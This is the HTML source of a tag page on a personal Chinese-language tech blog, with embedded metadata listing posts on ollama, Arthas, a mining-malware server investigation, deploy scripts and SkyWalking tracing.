+<!DOCTYPE html><html lang="zh-CN"><head><title>skywalking | Tags | Both Savage</title><meta name="theme-color" content="#000000"/><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0, minimum-scale=1.0"/><meta name="robots" content="follow, index"/><meta charSet="UTF-8"/><meta name="keywords" content="Notion, 博客"/><meta name="description" content="talk is cheap"/><meta property="og:locale" content="en_US"/><meta property="og:title" content="skywalking | Tags | Both Savage"/><meta property="og:description" content="talk is cheap"/><meta property="og:url" content="https://bothsavage.github.io//tag/skywalking"/><meta property="og:image" content="https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg"/><meta property="og:site_name" content="Both Savage"/><meta property="og:type" content="website"/><meta name="twitter:card" content="summary_large_image"/><meta name="twitter:description" content="talk is cheap"/><meta name="twitter:title" content="skywalking | Tags | Both Savage"/><meta name="referrer" content="no-referrer-when-downgrade"/><meta name="next-head-count" content="18"/><link rel="icon" href="/favicon.ico"/><link rel="preload" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" as="style" crossorigin="anonymous"/><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" crossorigin="anonymous" referrerPolicy="no-referrer"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css?family=Bitter&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Sans+SC:wght@300&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Serif+SC:wght@300&amp;display=swap"/><link data-next-font="" rel="preconnect" href="/" crossorigin="anonymous"/><link rel="preload" href="/_next/static/css/06c69360ab4a808f.css" as="style" crossorigin=""/><link rel="stylesheet" href="/_next/static/css/06c69360ab4a808f.css" crossorigin="" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" crossorigin="" nomodule="" src="/_next/static/chunks/polyfills-c67a75d1b6f99dc8.js"></script><script src="/_next/static/chunks/webpack-3c2098fe4d6464d4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/framework-b7fa4bf8e1ae99a1.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/main-30e956e31ac22080.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/_app-e7616ab64265e571.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/tag/%5Btag%5D-27fd94272e69240a.js" defer="" crossorigin=""></script><script src="/_next/static/mm0_cWkCfdum_vxo9wL_b/_buildManifest.js" defer="" crossorigin=""></script><script src="/_next/static/mm0_cWkCfdum_vxo9wL_b/_ssgManifest.js" defer="" crossorigin=""></script><style id="__jsx-763a7ba965151bca">.dark body{background-color:black}</style></head><body class="font-sans font-light scroll-smooth"><div id="__next"><div id="theme-gitbook" class="bg-white dark:bg-hexo-black-gray w-full h-full min-h-screen justify-center dark:text-gray-300"><div id="top-nav" class="fixed top-0 w-full z-40 undefined"><div style="height:0px;will-change:height" class="md:hidden overflow-hidden duration-200 "><div class="bg-white dark:bg-hexo-black-gray pt-1 py-2 lg:hidden "><nav id="nav" class=" text-md"><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><a target="_blank" class="py-2 w-full my-auto items-center justify-between flex  " href="https://github.com/BOTHSAVAGE"><div><div class="fab fa-github text-center w-4 mr-4"></div>Github</div></a></div><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><div class="py-2 font-extralight flex justify-between cursor-pointer  dark:text-gray-200 no-underline tracking-widest"><div><div class="fas fa-archive text-center w-4 mr-4"></div>往期整理</div><div class="inline-flex items-center "><i class="px-2 fas fa-chevron-right transition-all duration-200 "></i></div></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/archive"><div><div class="fas fa-clock-rotate-left text-center w-3 mr-3 text-xs"></div>历史归档</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/category"><div><div class="fas fa-th text-center w-3 mr-3 text-xs"></div>文章分类</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/tag"><div><div class="fas fa-tag text-center w-3 mr-3 text-xs"></div>文章标签</div></a></div></div></nav></div></div><div class="flex w-full h-14 shadow glassmorphism bg-white dark:bg-hexo-black-gray px-7 items-between"><div id="top-wrapper" class="w-full flex items-center"><div class="cursor-pointer md:hidden text-xl pr-3 hover:scale-110 duration-150"><i class="fa-solid fa-indent"></i></div><a class="flex text-md md:text-xl dark:text-gray-200" href="/"><img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" alt="Both Savage" width="24" height="24" class="mr-2 hidden md:block"/>Both Savage</a></div><div class="mr-1 flex md:hidden justify-end items-center space-x-4 font-serif dark:text-gray-200"><div class="flex text-md items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div><div class="cursor-pointer text-lg hover:scale-110 duration-150"><i class="fa-solid fa-ellipsis-vertical"></i></div></div><div class="hidden md:flex"><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><a target="_blank" href="https://github.com/BOTHSAVAGE"><i class="fab fa-github"></i> <!-- -->Github</a></div></li><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><div><i class="fas fa-archive"></i> <!-- -->往期整理<i class="px-2 fas fa-chevron-down duration-500 transition-all "></i></div></div><ul class="invisible opacity-0 top-10  border-gray-100  bg-white  dark:bg-black dark:border-gray-800 transition-all duration-300 z-20 absolute block drop-shadow-lg "><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/archive"><span class="text-xs font-extralight"><i class="fas fa-clock-rotate-left">   </i>历史归档</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/category"><span class="text-xs font-extralight"><i class="fas fa-th">   </i>文章分类</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/tag"><span class="text-xs font-extralight"><i class="fas fa-tag">   </i>文章标签</span></a></li></ul></li><div class="text-sm flex items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div></div></div></div><main id="wrapper" class="relative flex justify-between w-full h-full mx-auto"><div class="font-sans hidden md:block border-r dark:border-transparent relative z-10 "><div class="w-72 py-14 px-6 sticky top-0 overflow-y-scroll h-screen scroll-hidden"><div class="flex w-full"><input type="text" class="my-3 rounded-md outline-none w-full text-sm pl-2 transition focus:shadow-lg font-light leading-10 text-black bg-gray-100 dark:bg-gray-900 dark:text-white"/><div class="flex -ml-8 cursor-pointer float-right items-center justify-center py-2"><i class="hover:text-black transform duration-200 text-gray-500  dark:hover:text-gray-300 cursor-pointer fas fa-search"></i></div></div><div class="mb-20"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div><div class="w-72 fixed left-0 bottom-0 z-20 bg-white"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div id="center-wrapper" class="flex flex-col justify-between w-full relative z-10 pt-14 min-h-screen"><div id="container-inner" class="w-full px-7 max-w-3xl justify-center mx-auto"><div class="transition ease-in-out duration-700 transform order-first opacity-0 translate-y-16"><div class="mt-10"><div class="w-full justify-center"><div id="posts-wrapper"><div class="undefined py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="my-10 flex justify-between font-medium text-black dark:text-gray-100 space-x-2"><a rel="prev" class="invisible text-center w-full duration-200 px-4 py-2 hover:border-green-500 border-b-2 hover:font-bold" href="/tag/skywalking/page/0">←<!-- -->Prev</a><a rel="next" class="invisible text-center w-full duration-200 px-4 py-2 hover:border-green-500 border-b-2 hover:font-bold" href="/tag/skywalking/page/2">Next<!-- -->→</a></div></div></div></div><div id="jump-to-top" data-aos="fade-up" data-aos-duration="300" data-aos-once="false" data-aos-anchor-placement="top-center" class="fixed xl:right-80 right-2 mr-10 bottom-24 z-20"><i class="fas fa-chevron-up cursor-pointer p-2 rounded-full border bg-white dark:bg-hexo-black-gray"></i></div></div><div class="md:hidden"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div style="width:32rem" class="hidden xl:block dark:border-transparent relative z-10 "><div class="py-14 px-6 sticky top-0"><div class="py-4"></div></div></div></main><div id="gitbook-left-float" class="fixed top-0 left-0 z-40 md:hidden"><div class="-ml-80 animate__slideOutLeft overflow-y-hidden shadow-card w-72 duration-200 fixed left-1 top-16 rounded py-2 bg-white dark:bg-gray-600"><div class="dark:text-gray-400 text-gray-600 h-96 overflow-y-scroll p-3"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div></div><div id="left-drawer-background" class="hidden fixed top-0 left-0 z-30 w-full h-full"></div></div><script async="" src="https://www.googletagmanager.com/gtag/js?id=G-XT4YTFWNBG"></script><script async="">
                 window.dataLayer = window.dataLayer || [];
                 function gtag(){dataLayer.push(arguments);}
                 gtag('js', new Date());
                 gtag('config', 'G-XT4YTFWNBG', {
                   page_path: window.location.pathname,
                 });
-              </script></div><script id="__NEXT_DATA__" type="application/json" crossorigin="">{"props":{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection\u0026id=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026t=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":1,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 